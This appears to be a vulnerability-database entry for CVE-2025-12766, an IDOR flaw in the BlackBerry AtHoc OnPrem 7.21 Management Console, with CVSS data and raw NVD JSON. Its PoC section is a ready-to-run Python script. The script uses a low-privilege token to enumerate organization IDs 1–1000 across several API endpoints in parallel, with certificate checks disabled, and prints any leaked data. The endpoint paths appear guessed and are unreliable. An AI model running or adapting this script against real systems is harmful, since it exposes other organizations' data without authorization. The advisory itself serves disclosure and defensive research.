Security Vulnerability Report
中文
CVE-2025-12766 CVSS 5.0 MEDIUM

CVE-2025-12766

Published: 2025-11-19 17:15:47
Last Modified: 2025-12-01 17:22:04

Description

An Insecure Direct Object Reference (IDOR) vulnerability in the Management Console of BlackBerry® AtHoc® (OnPrem) version 7.21 could allow an attacker to potentially gain unauthorized knowledge about other organizations hosted on the same Interactive Warning System (IWS).

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:blackberry:athoc:7.21:-:*:*:onprem:*:*:* - VULNERABLE
BlackBerry AtHoc OnPrem < 7.21
BlackBerry AtHoc OnPrem = 7.21

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import concurrent.futures # CVE-2025-12766 PoC - IDOR in BlackBerry AtHoc Management Console # Target: BlackBerry AtHoc OnPrem version 7.21 TARGET_HOST = "https://athoc.example.com" AUTH_TOKEN = "your_low_privilege_token_here" def test_organization_access(org_id): """ Test IDOR vulnerability by accessing different organization IDs Expected: Should return 403 Forbidden for unauthorized orgs Vulnerable: Returns 200 OK with organization data """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Try to access organization details via API endpoints = [ f"/api/v1/organizations/{org_id}", f"/api/v1/iwss/organizations/{org_id}/details", f"/management/organization/{org_id}/info" ] for endpoint in endpoints: try: response = requests.get(f"{TARGET_HOST}{endpoint}", headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f"[VULNERABLE] Org {org_id} - Endpoint: {endpoint}") print(f"Data: {response.text[:500]}") return True elif response.status_code == 403: print(f"[SAFE] Org {org_id} - Access denied") except Exception as e: print(f"[ERROR] Org {org_id} - {str(e)}") return False def main(): # Test with common organization ID patterns org_ids = range(1, 1001) vulnerable_orgs = [] print(f"[*] Testing CVE-2025-12766 IDOR vulnerability") print(f"[*] Target: {TARGET_HOST}") print(f"[*] Starting enumeration...") with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor: futures = {executor.submit(test_organization_access, org_id): org_id for org_id in org_ids} for future in concurrent.futures.as_completed(futures): if future.result(): vulnerable_orgs.append(futures[future]) print(f"\n[*] Found {len(vulnerable_orgs)} vulnerable organizations") print(f"[*] Vulnerable org IDs: {vulnerable_orgs}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12766", "sourceIdentifier": "[email protected]", "published": "2025-11-19T17:15:46.690", "lastModified": "2025-12-01T17:22:03.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Insecure Direct Object Reference (IDOR) vulnerability in the Management Console of BlackBerry® AtHoc® (OnPrem) version 7.21 could allow an attacker to potentially gain unauthorized knowledge about other organizations hosted on the same Interactive Warning System (IWS)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:blackberry:athoc:7.21:-:*:*:onprem:*:*:*", "matchCriteriaId": "DA68FFD4-1F31-450D-9405-B136FE4F066B"}]}]}], "references": [{"url": "https://support.blackberry.com/pkb/s/article/140929", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}